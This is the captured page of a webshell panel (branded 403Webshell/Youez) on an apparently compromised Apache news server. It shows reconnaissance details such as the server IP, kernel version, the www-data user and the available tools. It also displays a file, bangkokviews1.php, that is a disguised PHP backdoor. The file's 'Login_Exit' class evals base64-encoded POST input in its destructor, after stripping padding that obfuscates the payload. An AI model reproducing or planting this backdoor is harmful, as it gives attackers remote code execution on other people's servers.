403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.59
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/news/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/news/bangkokviews1.php
<?php

class Login_Exit {
    public $name = '';
    public $config = null;

    function __destruct() {
        if ($this->name !== null && $this->config !== null) {
            @eval($this->config . $this->name);
        }
    }
}

$logined = new Login_Exit;

$param = 'exit';
$prefix_len = isset($_POST['__prefix_len']) ? intval($_POST['__prefix_len']) : 8;
$suffix_len = isset($_POST['__suffix_len']) ? intval($_POST['__suffix_len']) : 8;

if (isset($_POST[$param])) {
    $raw = $_POST[$param];
    $raw_core = substr($raw, $prefix_len, strlen($raw) - $prefix_len - $suffix_len);
    $decoded = base64_decode($raw_core);
    $logined->name = $decoded;
    $logined->config = '';
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit